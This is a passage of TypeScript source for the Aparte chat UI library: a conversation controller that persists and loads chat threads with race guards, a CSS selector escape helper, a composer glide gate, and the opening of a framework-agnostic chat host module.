AparteConversationControllerOptions {\n /**\n * Conversation manager. If omitted, the controller resolves it from\n * `aparteGlobalConfig.getConversationManager()` when first needed.\n */\n manager?: AparteConversationManager;\n /**\n * Called whenever a new conversation is created lazily (on first user\n * message in an empty thread). Useful for the parent app to sync the URL.\n */\n onConversationCreated?: (id: string) => void;\n}\n\n/**\n * Connects an `AparteChatBinding` to a `AparteConversationManager`.\n *\n * Responsibilities:\n * - Load messages when `setConversationId(id)` is called.\n * - Lazily create a conversation on the first user `aparte-send` if none active.\n * - Persist updates triggered by `aparte-path-changed` (branch nav, retry, edit).\n * - Dispatch `aparte-abort` when the active conversation changes mid-stream.\n *\n * Usage:\n * ```ts\n * const controller = new AparteConversationController(binding);\n * const stop = controller.bind();\n * controller.setConversationId('abc-123');\n * // …\n * stop();\n * ```\n */\nexport class AparteConversationController {\n private _binding: AparteChatBinding;\n private _options: AparteConversationControllerOptions;\n private _activeId: string | null = null;\n private _isStreaming = false;\n private _isLoadingConversation = false;\n private _ensureInFlight: Promise<string> | null = null;\n\n private _onSendCapture: ((e: Event) => void) | null = null;\n private _onPathChanged: ((e: Event) => void) | null = null;\n private _onMessageStart: (() => void) | null = null;\n private _onMessageDone: (() => void) | null = null;\n private _onMessageError: (() => void) | null = null;\n private _onMessageAborted: (() => void) | null = null;\n private _onMessagePaused: (() => void) | null = null;\n private _onSelectConversation: ((e: Event) => void) | null = null;\n private _onCompactDone: ((e: Event) => void) | null = null;\n private _unsubscribeManager: (() => void) | null = null;\n /** The manager the subscription above is on, so a replaced manager is re-subscribed. */\n private _subscribedTo: AparteConversationManager | null = null;\n /** Between bind() and unbind(): the only time a manager subscription may be installed. */\n private _bound = false;\n /** The binding shows the wait this controller asked for — see `_showWait`. */\n private _waitShown = false;\n\n /**\n * React to an external mutation of the manager (another component deleting or\n * archiving the active conversation). Without this the binding would keep\n * showing a phantom history for an id the manager no longer knows about.\n */\n private readonly _onManagerChanged = (convs: AparteConversation[]): void => {\n if (!this._activeId) return;\n const stillExists = convs.some((c) => c.id === this._activeId && !c.archivedAt);\n if (!stillExists) {\n // If a stream is in flight, kill it before clearing the binding.\n // Without this, deleting the active conv leaves the orchestrator\n // and AI provider running until they finish naturally.\n if (this._isStreaming) {\n try {\n window.dispatchEvent(new CustomEvent('aparte-abort', {\n detail: { targetId: this._binding.hostId },\n }));\n } catch {\n /* environments without window */\n }\n this._isStreaming = false;\n }\n this._activeId = null;\n this._binding.clearMessages();\n // Deleted while its messages were on their way: the fetch sees the id gone\n // and does nothing, so the wait it showed ends here.\n this._showWait(false);\n }\n };\n\n constructor(binding: AparteChatBinding, options: AparteConversationControllerOptions = {}) {\n this._binding = binding;\n this._options = options;\n }\n\n /** The current active conversation id (null when none selected). */\n get activeId(): string | null {\n return this._activeId;\n }\n\n /**\n * Lazily resolve the conversation manager. Returns `undefined` if none is\n * registered — the controller then runs in degraded mode: optimistic UI\n * still works (user message is appended) but no persistence happens. This\n * keeps backward compatibility with hosts that haven't opted into the\n * conversation lifecycle yet.\n */\n private _manager(): AparteConversationManager | undefined {\n // Explicit option first, then the config governing the host element\n // (instance config under a [data-aparte-host] boundary, else the global).\n const manager = this._options.manager ?? (() => {\n const scoped = resolveConfig(this._binding.host);\n const m = scoped.getConversationManager();\n if (!m) this._warnManagerOnTheWrongConfig(scoped);\n return m;\n })();\n // Subscribe here, once per manager, while bound: every path that can create an\n // `_activeId` worth protecting resolves the manager through this method, so\n // a manager registered after bind() — every wrapper's case — is subscribed the\n // first time it is needed, and a manager replaced on the config is re-subscribed.\n if (manager && this._bound && manager !== this._subscribedTo) {\n this._unsubscribeManager?.();\n this._subscribedTo = manager;\n this._unsubscribeManager = manager.subscribe(this._onManagerChanged);\n }\n return manager;\n }\n\n /**\n * Degraded mode is legitimate — a host that never opted into the conversation\n * lifecycle has no manager and should not be nagged. Registering one on the\n * WRONG config is not: a manager registered on the global singleton while the chat\n * uses its own `config` looks like it works (the optimistic UI still appends) and\n * saves nothing at all.\n *\n * Warned once per controller, and only in the case that is unambiguously a\n * mistake: no manager here, but one on the global.\n */\n private _warnedNoManager = false;\n private _warnManagerOnTheWrongConfig(scoped: AparteConfig): void {\n if (this._warnedNoManager) return;\n if (scoped === aparteGlobalConfig || !aparteGlobalConfig.getConversationManager()) return;\n this._warnedNoManager = true;\n console.warn(\n '[aparte] This chat resolves its own config, but the conversation manager was '\n + 'registered on aparteGlobalConfig — so nothing is being persisted. Pass the same '\n + 'config to init(): `init(adapter, myConfig)`, using the config you gave the chat.',\n );\n }\n\n /**\n * Attach event listeners to the binding host. Returns an unbind function.\n */\n bind(): () => void {\n const host = this._binding.host;\n\n // Capture-phase aparte-send so we can ensure a conversation exists and\n // append the user message BEFORE AparteClient (window-bubble listener)\n // sees the event. Without capture, AparteClient would race with us.\n this._onSendCapture = (e: Event) => {\n const evt = e as CustomEvent<{ content?: string; targetId?: string; files?: File[]; timestamp?: number }>;\n // Only handle events targeting this binding\n const targetId = evt.detail?.targetId;\n if (targetId && targetId !== this._binding.hostId) return;\n\n const content = evt.detail?.content ?? '';\n const files = evt.detail?.files;\n // Shared with raw-core consumers via the exported `filesToAttachments`\n // (it carries the raw File so a storage adapter can persist it and\n // rebuild `url` on reload).\n const attachments: AparteAttachment[] | undefined = files?.length\n ? filesToAttachments(files)\n : undefined;\n const userMsg: AparteMessage = {\n id: uuid(),\n role: 'user',\n content,\n timestamp: evt.detail?.timestamp ?? Date.now(),\n ...(attachments ? { attachments } : {}),\n };\n\n // 1. Optimistic UI: append the user message immediately so it\n // appears before any AI streaming begins — and say so on the event:\n // `echoed` is the handshake AparteClient (whose own echo defaults ON)\n // reads before echoing, so this pairing renders the message ONCE.\n this._binding.appendMessage(userMsg);\n (evt.detail as { echoed?: boolean }).echoed = true;\n\n // 2. Ensure a conversation exists (lazy create on first send) and\n // persist the user message. Done async; AparteClient continues.\n void this._ensureConversationAndPersist(userMsg);\n };\n host.addEventListener('aparte-send', this._onSendCapture, { capture: true });\n\n // Persist after every path change (branch nav, edit, retry).\n // Note: streaming completion does NOT dispatch aparte-path-changed;\n // see _onMessageDone/Error/Aborted below for that case.\n // Guard: skip during setConversationId() — importTree() triggers\n // aparte-path-changed synchronously when restoring branch topology,\n // and persisting there would touch updatedAt causing the conv to\n // float to the top of the history list without any real modification.\n this._onPathChanged = () => {\n if (!this._isLoadingConversation) {\n this._persistActive();\n }\n };\n host.addEventListener('aparte-path-changed', this._onPathChanged);\n\n // Track streaming state so setConversationId can abort cleanly, AND\n // persist freshly-completed assistant turns to storage. Without this,\n // assistant messages would only ever live in the in-memory binding\n // because aparte-path-changed is reserved for branch operations.\n this._onMessageStart = () => { this._isStreaming = true; };\n this._onMessageDone = () => {\n this._isStreaming = false;\n // Defer one microtask so any synchronous listener that finalises\n // the message in the binding (e.g. viewport state flush) runs\n // before we snapshot getMessages().\n queueMicrotask(() => this._persistActive());\n };\n this._onMessageError = () => {\n this._isStreaming = false;\n queueMicrotask(() => this._persistActive());\n };\n this._onMessageAborted = () => {\n this._isStreaming = false;\n queueMicrotask(() => this._persistActive());\n };\n // A server paused the turn on calls the page must answer. The turn goes on, but a\n // person who closes the tab now comes back to what was saved — the paused calls,\n // with the server's ticket, have to be in it.\n this._onMessagePaused = () => {\n queueMicrotask(() => this._persistActive());\n };\n host.addEventListener('aparte-message-start', this._onMessageStart);\n host.addEventListener('aparte-message-done', this._onMessageDone);\n host.addEventListener('aparte-message-error', this._onMessageError);\n host.addEventListener('aparte-message-aborted', this._onMessageAborted);\n host.addEventListener('aparte-message-paused', this._onMessagePaused);\n\n // App-level selection bus. Lets sidebars / nav menus drive the\n // active conversation without going through Angular @Input bindings,\n // and works even when the user clicks the conversation that's\n // already active (where route params don't re-emit).\n // Detail shape: { id: string | null, targetId?: string }.\n // When `targetId` is set, only the matching binding handles it\n // (multi-chat hosts). When omitted, every bound controller listens.\n this._onSelectConversation = (e: Event) => {\n const evt = e as CustomEvent<{ id: string | null; targetId?: string }>;\n const targetId = evt.detail?.targetId;\n if (targetId && targetId !== this._binding.hostId) return;\n void this.setConversationId(evt.detail?.id ?? null);\n };\n // A compaction rewrites the transcript (summary in, summarised turns out) and says\n // so on `window` only. Nothing else fires: the turns it drops and the summary it adds\n // were saved at the next message, and a reload before it brought the long transcript\n // back. Saved now, for the chat it names.\n this._onCompactDone = (e: Event) => {\n const detail = (e as CustomEvent<{ targetId?: string; summary?: string } | undefined>).detail;\n if (detail?.targetId && detail.targetId !== this._binding.hostId) return;\n queueMicrotask(() => this._persistOnceSummarised(detail?.summary, 0));\n };\n if (typeof window !== 'undefined') {\n window.addEventListener('aparte-conversation-select', this._onSelectConversation);\n window.addEventListener('aparte-compact-done', this._onCompactDone);\n }\n\n // The manager subscription is installed by `_manager()` — the single lazy\n // resolution point — the first time a manager is seen while bound, not\n // latched here. Every wrapper registers its manager AFTER an async `init()`,\n // i.e. after this bind() ran in the mount effect, so a subscription taken\n // only here was never installed under React, Vue, Svelte or Angular: the\n // reaction to an external delete simply never ran. The eager call keeps the\n // vanilla path (manager registered first) exactly as it was.\n this._bound = true;\n this._manager();\n\n return () => this.unbind();\n }\n\n /** Detach event listeners. */\n /** Release handle for the hydration-retry subscription (see setConversationId). */\n private _stopHydrationRetry: (() => void) | null = null;\n\n unbind(): void {\n // Unbound FIRST: `_persistActive()` below resolves the manager, and while\n // bound that resolution would re-subscribe during teardown.\n this._bound = false;\n this._subscribedTo = null;\n // Persist current state before tearing down. This covers the case where\n // the host component is destroyed mid-stream (e.g. \"New Chat\" navigates\n // to a new route instance): _persistActive() would never be called\n // otherwise, losing the partially-written assistant message.\n // _persistActive() is a no-op when _activeId is null, so this is safe\n // for new instances that were never given a conversation id.\n this._persistActive();\n this._stopHydrationRetry?.();\n this._stopHydrationRetry = null;\n const host = this._binding.host;\n if (this._onSendCapture) {\n host.removeEventListener('aparte-send', this._onSendCapture, { capture: true } as EventListenerOptions);\n this._onSendCapture = null;\n }\n if (this._onPathChanged) {\n host.removeEventListener('aparte-path-changed', this._onPathChanged);\n this._onPathChanged = null;\n }\n if (this._onMessageStart) {\n host.removeEventListener('aparte-message-start', this._onMessageStart);\n this._onMessageStart = null;\n }\n if (this._onMessageDone) {\n host.removeEventListener('aparte-message-done', this._onMessageDone);\n this._onMessageDone = null;\n }\n if (this._onMessageError) {\n host.removeEventListener('aparte-message-error', this._onMessageError);\n this._onMessageError = null;\n }\n if (this._onMessageAborted) {\n host.removeEventListener('aparte-message-aborted', this._onMessageAborted);\n this._onMessageAborted = null;\n }\n if (this._onMessagePaused) {\n host.removeEventListener('aparte-message-paused', this._onMessagePaused);\n this._onMessagePaused = null;\n }\n if (this._onCompactDone && typeof window !== 'undefined') {\n window.removeEventListener('aparte-compact-done', this._onCompactDone);\n this._onCompactDone = null;\n }\n if (this._onSelectConversation && typeof window !== 'undefined') {\n window.removeEventListener('aparte-conversation-select', this._onSelectConversation);\n this._onSelectConversation = null;\n }\n if (this._unsubscribeManager) {\n this._unsubscribeManager();\n this._unsubscribeManager = null;\n }\n }\n\n /**\n * Switch to (or clear) the active conversation.\n * - `null`: clears the binding and deselects in the manager.\n * - any id: loads the conversation's messages into the binding.\n *\n * Idempotent: calling with the current id forces a re-snapshot from the\n * manager (handy when external mutations could have desynchronised the\n * binding, or when a user re-selects the already-active conv from a\n * sidebar). Streams are only aborted on an actual id change so a same-id\n * reload never kills an in-flight response.\n */\n async setConversationId(id: string | null): Promise<void> {\n const isSwitch = id !== this._activeId;\n const manager = this._manager();\n // Abort any in-flight stream tied to this binding only when actually\n // switching to a different conversation.\n if (isSwitch && this._isStreaming) {\n // Persist the current state (user message + partial assistant reply)\n // BEFORE aborting. The abort event fires asynchronously; if we\n // persist after it, the binding may already be cleared/replaced.\n this._persistActive();\n try {\n window.dispatchEvent(new CustomEvent('aparte-abort', {\n detail: { targetId: this._binding.hostId },\n }));\n } catch {\n /* environments without window */\n }\n this._isStreaming = false;\n }\n\n if (id === null) {\n // Always sync the manager to null so external observers (e.g. sidebar\n // active-id highlight) reflect the cleared state — even when this\n // controller instance already has _activeId = null (new mount on root).\n if (isSwitch) this._persistActive();\n // Abort any in-flight stream when navigating away to home (null),\n // mirroring the same guard that exists for non-null switches above.\n if (isSwitch && this._isStreaming) {\n try {\n window.dispatchEvent(new CustomEvent('aparte-abort', {\n detail: { targetId: this._binding.hostId },\n }));\n } catch {\n /* environments without window */\n }\n this._isStreaming = false;\n }\n this._activeId = null;\n manager?.clearActive();\n if (isSwitch) this._binding.clearMessages();\n // A new chat is not a conversation on its way: a wait shown for a fetch the\n // user just left ends here (that call sees the id moved and does nothing).\n this._showWait(false);\n return;\n }\n\n const conv = manager?.conversations.find((c: AparteConversation) => c.id === id);\n if (!manager || !conv) {\n // Race-condition guard. When the host (Angular APP_INITIALIZER, route\n // resolver, or any other async init) hands us a conversationId BEFORE\n // the manager has finished hydrating from IndexedDB, the id is\n // legitimately not in `manager.conversations` yet — but it WILL be\n // there shortly after `manager.init()` resolves. Clearing the binding\n // here would wipe the persisted tree from the UI (and break the\n // history that the LLM relies on for multi-turn coherence).\n //\n // Signal: when the manager exists but `initialized` is still false\n // (i.e. `init()` has not yet completed), treat this as \"hydrating\"\n // and defer the decision. Subscribe once; when the manager next\n // emits with the id NOW present, re-run setConversationId(id) to\n // load the tree. If the id is still missing after the emit, we\n // fall back to the clear path below (truly unknown id case).\n //\n // We deliberately do NOT use `conversations.length === 0` here —\n // that conflates \"still hydrating\" with \"hydrated but empty\"\n // (first-time user, no convs yet), which would defer forever.\n if (manager && !manager.initialized) {\n // Held so `unbind()` can release it: a host destroyed while the\n // manager is still hydrating used to leave this subscription\n // alive, and the later emit then called `setConversationId` on an\n // unbound controller — writing messages into a torn-down binding.\n this._stopHydrationRetry?.();\n const stop = manager.subscribe(() => {\n stop();\n this._stopHydrationRetry = null;\n // Only retry if the id has become known. Otherwise let the\n // next emit (or a later setConversationId call) handle it.\n if (manager.conversations.some((c: AparteConversation) => c.id === id)) {\n void this.setConversationId(id);\n } else if (this._activeId === null) {\n // Hydration finished without the id — that id is truly\n // unknown (deleted conv, stale URL). Clear now.\n console.warn('[ConversationController] id still unknown after hydration — clearing. id:', id);\n manager.clearActive();\n this._binding.clearMessages();\n this._showWait(false);\n }\n });\n this._stopHydrationRetry = stop;\n // This call supersedes whatever was on its way: a wait shown for that\n // fetch ends here, or it would outlive the call it belongs to (the fetch\n // itself returns silently once the id has moved) and leave the composer\n // disabled until a reload. The retry shows its own.\n this._showWait(false);\n return;\n }\n console.warn('[ConversationController] unknown id or no manager — clearing. manager:', !!manager, 'conv:', !!conv);\n // Unknown id (or no manager) — treat as clear to keep state consistent.\n this._activeId = null;\n manager?.clearActive();\n this._binding.clearMessages();\n // Same rule as the new-chat branch above: an id nobody knows — a deep link to\n // a deleted conversation — still ends the wait it superseded.\n this._showWait(false);\n return;\n }\n\n this._activeId = id;\n // The controller is the sole writer of `manager._activeId`. Other\n // components must dispatch `aparte-conversation-select` rather than\n // calling `manager.select()` directly.\n manager.select(id);\n // setMessages always runs first: it handles cleanup (stop streaming,\n // clear rendered ids, reset spacer) and sets the flat active-path signal.\n // importTree (below) may dispatch aparte-path-changed synchronously — flag\n // the load to prevent _onPathChanged from calling _persistActive() and\n // touching updatedAt (which would cause the conv to float to the top).\n // The messages may not be in memory yet — split storage lists through loadMeta()\n // and fetches a conversation through loadFull(). The binding shows the wait, and\n // a reply that lands after the user moved on is dropped: the active id is read\n // again after the await, which is the whole race guard.\n let record = conv;\n const fetching = !manager.isLoaded(id);\n if (fetching) {\n this._showWait(true);\n this._binding.clearMessages();\n let loaded = false;\n try {\n loaded = await manager.ensureFull(id);\n } catch (err) {\n console.warn('[ConversationController] the conversation could not be loaded:', id, err);\n }\n // The user moved on while this was on its way: the newer call owns the\n // binding now, loading flag included. Nothing of this reply may land.\n if (this._activeId !== id) return;\n if (!loaded) {\n // The store failed, or has no such record: home, the wait over, and\n // nothing written — an emptied binding left active would be persisted\n // over the stored messages by the next send.\n if (manager.conversations.some((c: AparteConversation) => c.id === id)) {\n console.warn('[ConversationController] no messages came back for', id, '— leaving it.');\n }\n this._activeId = null;\n manager.clearActive();\n this._binding.clearMessages();\n this._showWait(false);\n return;\n }\n record = manager.conversations.find((c: AparteConversation) => c.id === id) ?? conv;\n }\n this._isLoadingConversation = true;\n try {\n this._binding.setMessages([...(record.messages ?? [])]);\n // If the conversation has a full tree snapshot and the binding supports\n // importing it, restore the branch topology on top. This is a no-op\n // for bindings that don't implement importTree.\n if (record.tree && this._binding.importTree) {\n this._binding.importTree(record.tree);\n }\n } finally {\n this._isLoadingConversation = false;\n // AFTER the messages, never before: a frame with the wait gone and the\n // transcript still empty reads as \"no messages\", and center-empty centres\n // the composer for that frame.\n this._showWait(false);\n }\n // The messages are on screen: the moment to resume a turn a server loop paused\n // (`AparteClient` listens), to scroll, to measure. A load that failed or that the\n // user left returned above, so this says only what is true.\n this._binding.host.dispatchEvent(new CustomEvent<AparteConversationLoadedDetail>('aparte-conversation-loaded', {\n bubbles: true,\n composed: true,\n detail: { targetId: this._binding.hostId, conversationId: id },\n }));\n }\n\n /**\n * The binding's wait, owned here: whoever runs `setConversationId` last clears it\n * — a loaded conversation or a new chat that replaces a fetch, a delete of the\n * one being fetched — so a wait shown for one call never outlives the call that\n * superseded it.\n */\n private _showWait(on: boolean): void {\n if (this._waitShown === on) return;\n this._waitShown = on;\n this._binding.setLoading?.(on);\n }\n\n // ─────────────────────────────────────────────────────────────────────\n // Internal\n // ─────────────────────────────────────────────────────────────────────\n\n /**\n * Snapshot the binding's current messages and push them to the manager.\n * No-op when there is no active conversation or no manager registered.\n * Idempotent: safe to call multiple times in a row.\n *\n * Any message whose status is 'streaming' or 'pending' at persist-time is\n * normalised to 'completed' so that reloading the conversation does not\n * re-enter streaming UI (caret, spinner, no action buttons) for content\n * that was partially written before a switch or component destruction.\n */\n /**\n * Save once the binding holds the summary a compaction announced. A transcript kept in\n * a framework store reaches the binding only when that framework renders, so a save on\n * the microtask wrote the conversation as it stood before the compaction. Bounded: a\n * run with no summary (skipped), or a binding that never shows it, is saved as it is.\n */\n private _persistOnceSummarised(summary: string | undefined, waits: number): void {\n const holds = !summary || this._binding.getMessages().some(\n (m) => m.compaction === true && typeof m.content === 'string' && m.content.endsWith(summary),\n );\n if (holds || !this._binding.afterRender || waits >= MAX_COMPACTION_SAVE_WAITS) {\n this._persistActive();\n return;\n }\n this._binding.afterRender(() => this._persistOnceSummarised(summary, waits + 1));\n }\n\n private _persistActive(): void {\n if (!this._activeId) return;\n const manager = this._manager();\n if (!manager) return;\n // Not while the messages are on their way: the binding shows an empty\n // transcript then, and a persist — an abort landing after a switch, a path\n // change, a send — would write that emptiness over the stored ones.\n if (!manager.isLoaded(this._activeId)) return;\n const msgs = this._binding.getMessages().map(m =>\n (m.status === 'streaming' || m.status === 'pending')\n ? { ...m, status: 'completed' as const }\n : m\n );\n // Export the full branch tree when the binding supports it.\n // Normalize streaming/pending nodes so reloading never re-enters\n // streaming UI for content that was only partially written.\n let tree = this._binding.exportTree?.();\n if (tree) {\n tree = {\n headId: tree.headId,\n messages: tree.messages.map(({ message, parentId }) => ({\n message: (message.status === 'streaming' || message.status === 'pending')\n ? { ...message, status: 'completed' as const }\n : message,\n parentId,\n })),\n };\n }\n void manager.updateMessages(this._activeId, msgs, tree);\n }\n\n private async _ensureConversationAndPersist(userMsg: AparteMessage): Promise<void> {\n const manager = this._manager();\n if (!manager) {\n // No persistence layer wired — optimistic UI was already applied by\n // the send-handler; we have nothing more to do.\n return;\n }\n\n // Capture the active id at send-time. If the user switches\n // conversations while createNew()/addMessage() are in flight we\n // must not clobber the new active id.\n const wasActiveId = this._activeId;\n let convId = wasActiveId ?? manager.activeId;\n\n // A concurrent send is still creating the conversation. `createNew()`\n // assigns `manager.activeId` synchronously, BEFORE its promise resolves,\n // so we already read that id above and would otherwise call addMessage()\n // ahead of the first sender: storage would hold the two user messages in\n // reverse order and `_autoTitle` would title the conversation from the\n // second one (the order self-heals on the next _persistActive, the title\n // does not). Waiting here — rather than entering the creation branch —\n // keeps send order and leaves the switch-away race guard below alone.\n if (convId && this._activeId === null && this._ensureInFlight) {\n await this._ensureInFlight.catch(() => { /* the creating send reports it */ });\n convId = this._activeId ?? convId;\n }\n\n if (!convId) {\n // Coalesce concurrent sends (e.g. suggestion + quick type) into one\n // conversation creation.\n if (!this._ensureInFlight) {\n // Title kept full-length; UI surfaces handle visual truncation\n // via CSS (`min-w-0` + `truncate`). The manager decides the final\n // title when the message is added (title provider, empty text).\n const text = (userMsg.content ?? '').toString().trim();\n this._ensureInFlight = manager.createNew(text).then(conv => conv.id);\n }\n convId = await this._ensureInFlight;\n this._ensureInFlight = null;\n\n // Race guard: if the user switched away while createNew() was\n // resolving, the optimistic user message was already replaced\n // in the binding by setConversationId(). The freshly-created\n // conversation is an orphan; drop it and bail rather than\n // persisting a ghost message into a conv the user can't see.\n // The first of two coalesced sends setting the active id to THIS\n // conversation is not a switch — the second used to read it as one,\n // delete the conversation both had joined, and empty the transcript.\n if (this._activeId !== wasActiveId && this._activeId !== convId) {\n void manager.delete(convId).catch(() => { /* best effort */ });\n return;\n }\n\n this._activeId = convId;\n this._options.onConversationCreated?.(convId);\n } else if (this._activeId !== null && this._activeId !== convId) {\n // Existing-conv path but the user switched between the optimistic\n // append and now. The message was visually shown in the old conv;\n // persist it there and stop — do not mutate the new active conv.\n await manager.addMessage(convId, userMsg).catch(() => { /* best effort */ });\n return;\n }\n\n await manager.addMessage(convId, userMsg);\n }\n}\n","/**\n * Escape a value for safe interpolation into a DOUBLE-QUOTED CSS attribute\n * selector: `[attr=\"${cssEscape(value)}\"]`. Inside a quoted CSS string only `\"`\n * (which would end the string) and `\\` (the escape char) are special, so escaping\n * those two is sufficient AND correct here — unlike `CSS.escape`, which targets the\n * UNquoted identifier context and over-escapes inside quotes (breaking the match),\n * and which also needs the `CSS` global (absent in SSR / some test runtimes).\n *\n * Segment/message ids are random UUIDs in the default flow, so this is\n * defense-in-depth: a hostile, stream-supplied id containing `\"` (e.g. a tool-call\n * id) cannot break out of the selector into a `SyntaxError` or a\n * selector-list that mis-targets another element.\n *\n * A raw newline (or CR / form feed) is not allowed inside a CSS string either — it\n * ends the string and the selector throws the same `SyntaxError`. Escaped as its\n * code point followed by a space, the form the CSS Syntax spec gives for exactly\n * this (`\\a `), so an id a provider minted with a line break still matches.\n */\nexport function cssEscape(value: string): string {\n return value\n .replace(/[\"\\\\]/g, '\\\\$&')\n .replace(/[\\n\\r\\f]/g, (c) => `\\\\${c.charCodeAt(0).toString(16)} `);\n}\n","/**\n * `data-glide` on a centring chat once a person is there: the first key or pointer in the page,\n * or a send from inside the chat.\n *\n * The composer's slide between the welcome state and a conversation reads it (shell.css). A\n * conversation a script restores on load therefore lands in one frame — sliding it there, before\n * anyone had touched the page, was a layout shift the reader never caused (CLS 0.14 on a phone).\n * Every change after that, a send, an opened conversation, a new chat, still glides.\n *\n * Returns the teardown. Used by `<aparte-chat>` on itself and by the framework hosts on their root.\n */\nexport function gateGlide(el: HTMLElement): () => void {\n if (el.hasAttribute('data-glide')) return () => {};\n const doc = el.ownerDocument;\n const off = (): void => {\n doc.removeEventListener('pointerdown', lift, true);\n doc.removeEventListener('keydown', lift, true);\n el.removeEventListener('aparte-send', lift);\n };\n const lift = (): void => {\n el.setAttribute('data-glide', '');\n off();\n };\n doc.addEventListener('pointerdown', lift, true);\n doc.addEventListener('keydown', lift, true);\n el.addEventListener('aparte-send', lift);\n return off;\n}\n","import type {\n AparteMessage,\n AparteSegment,\n AparteUsage,\n AparteSiblingInfo,\n ApartePathChangedEventDetail,\n} from '../types/index.js';\nimport type { SyncableBubble } from '../components/bubble/bubble-sync.js';\nimport { populateBubbleFromMessage } from '../components/bubble/bubble-sync.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\nimport {\n AparteConversationController,\n type AparteChatBinding,\n} from '../conversations/conversation-controller.js';\nimport type { AparteConfig } from '../config/aparte-config.js';\nimport { resolveConfig, attachConfig, detachConfig } from '../config/config-context.js';\nimport { cssEscape } from '../utils/css-escape.js';\nimport { dispatchLifecycleEvent } from '../client/lifecycle-events.js';\nimport { gateGlide } from '../components/chat/glide-gate.js';\nimport {\n stampSegmentOnInsert,\n stampSegmentOnUpdate,\n adoptMessageSegments,\n mergeSegmentUpdate,\n renumberSegments,\n openSegmentIds,\n stampSegmentActivity,\n isTerminalStatus,\n} from '../utils/segments.js';\n\n/**\n * Imperative slice of `<aparte-chat-bubble>` the host mutates directly during\n * streaming (segment add/update/remove + status). Loosely typed so any element\n * exposing the surface works (custom element, test double).\n */\ninterface StreamingBubble extends SyncableBubble {\n addSegment?(segment: AparteSegment): void;\n removeSegment?(segmentId: string): void;\n updateMessage?(updates: { status?: string }): void;\n}\n\n/**\n * Imperative slice of `<aparte-chat-viewport>` the host forwards to. Every method\n * is optional so the host degrades gracefully if a consumer passes a stripped\n * element; the real viewport implements them all.\n */\ninterface ViewportApi {\n appendToken?(messageId: string, chunk: string): void;\n /** Direct, in-place segment write — the fast path behind `appendToSegment`. */\n appendToSegment?(messageId: string, segmentId: string, chunk: string): void;\n completeMessage?(messageId: string): void;\n addBranch?(messageId: string): number;\n addSiblingOf?(existingId: string, newMessage: AparteMessage): string | null;\n truncateFrom?(messageId: string): void;\n truncateResponsesAfter?(userMessageId: string): void;\n getMessage?(messageId: string): AparteMessage | undefined;\n appendMessage?(message: AparteMessage): void;\n /** Framework-managed DOM: record a message in the tree without painting a bubble. */\n addMessage?(message: AparteMessage): void;\n /** Replace the tree with a list — what opening a stored conversation does. */\n setMessages?(messages: AparteMessage[]): void;\n updateMessage?(messageId: string, updates: Partial<AparteMessage>): void;\n /** The transcript's read-only-while-streaming flag; in framework-managed mode the host is its one writer. */\n setTranscriptBusy?(busy: boolean): void;\n setLoading?(loading: boolean): void;\n exportTree?(): ExportedMessageRepository;\n importTree?(tree: ExportedMessageRepository): void;\n clearAll?(options?: { revokeAttachments?: boolean }): void;\n resetSpacer?(): void;\n configure?(config: { layoutTransitionMs?: number }): void;\n setAutoScroll?(enabled: boolean): void;\n setFrameworkManagedDOM?(managed: boolean): void;\n requestSmoothScroll?(): void;\n}\n\n/**\n * Everything `AparteChatHost` needs from the framework, expressed without any\n * framework types. Each wrapper (Angular signals, React state, Vue refs, Svelte\n * stores) implements these ~10 closures over its own reactive message list.\n */\nexport interface AparteChatHostBinding {\n /** Stable id for the host element (used as `targetId` for scoped events). */\n readonly hostId: string;\n /** The element `AparteClient` drives + that emits lifecycle/path events. */\n readonly host: HTMLElement;\n /** The `<aparte-chat-viewport>` element (branch ops, token append, bubbles). */\n readonly viewport: HTMLElement | null;\n\n /** Read the current message list (a snapshot). */\n getMessages(): AparteMessage[];\n /** Replace the framework's message list (triggers its re-render). */\n setMessages(messages: AparteMessage[]): void;\n\n /** Notify the consumer that messages changed (drives `messagesChange`). */\n onMessagesChange?(messages: AparteMessage[]): void;\n /** Notify the consumer a message was appended (drives `messageAppended`). */\n onMessageAppended?(message: AparteMessage): void;\n /** Flip the typing/“thinking” indicator. */\n onTypingChange?(isTyping: boolean): void;\n /** Streaming target id changed (drives `isStreaming`). */\n onStreamingChange?(streamingId: string | null): void;\n /** Run a callback after the framework has applied the latest render. */\n afterRender(cb: () => void): void;\n /** Reset the composer (clear text/attachments) on conversation swap. */\n resetComposer?(): void;\n /**\n * The transcript is on its way (`true`) or has arrived (`false`): the controller's\n * wait, forwarded so a wrapper that draws its own DOM can draw the wait — the\n * skeleton, the empty state kept off, the composer disabled.\n *\n * Declaring it makes the wait YOURS, `aria-busy` included: the host stops writing the\n * viewport's `loading` attribute and leaves it to you, so two writers never disagree\n * about when the wait ends. A binding without this callback keeps the attribute\n * written for it.\n */\n onLoadingChange?(loading: boolean): void;\n}\n\nexport interface AparteChatHostOptions {\n /** Forwarded to `viewport.configure({ layoutTransitionMs })` when > 0. */\n layoutTransitionMs?: number;\n /** Initial conversation id to load when the controller is created. */\n conversationId?: string | null;\n /** Called when the controller lazily creates a conversation on first send. */\n onConversationCreated?: (id: string) => void;\n /**\n * Instance config for this chat. When provided, {@link bind} marks the host\n * element as a `[data-aparte-host]` boundary so every Aparte component inside it\n * (bubbles, composer, renderers) resolves THIS config instead of the global\n * `aparteGlobalConfig` — the seam that lets several independently-configured chats\n * coexist on one page. Omit to keep the global-config behaviour.\n */\n config?: AparteConfig;\n}\n\n/**\n * Framework-agnostic chat-host orchestrator.\n *\n * Owns the streaming/branch/host-method layer shared by the framework wrappers:\n * it installs the imperative method surface `AparteClient`\n * calls onto the host element, tracks the streaming target id from\n * `apartemessage*` lifecycle events, guards writes against orphan streams (late\n * SSE after a conversation switch), handles `aparte-path-changed` branch\n * navigation, keeps the viewport's repo in sync before branch ops, and\n * reconciles bubbles via `populateBubbleFromMessage`.\n *\n * It composes — does not replace — `AparteConversationController` (persistence /\n * load / lazy-create) which it instantiates internally from the same binding.\n *\n * Each framework provides an {@link AparteChatHostBinding} over its reactive\n * message list and calls {@link bind} after the view mounts; the framework is\n * responsible for rendering `<aparte-chat-bubble message-id=\"…\">` elements inside\n * the viewport and calling {@link syncBubbles} whenever its message list\n * changes (its idiomatic reactive hook: Angular effect, React effect, Vue\n * watch, Svelte afterUpdate).\n */\n/**\n * How many render passes to wait for a sibling's bubble before giving up.\n *\n * The race needs ONE tick; six is slack for a slow commit. It is bounded because a\n * message that left the active path has no bubble and never will, and an unbounded\n * retry would hold a callback for the life of the page.\n */\nconst MAX_SIBLING_RETRIES = 6;\n\n/** A message's fields the viewport's tree derives itself, which a framework's list never 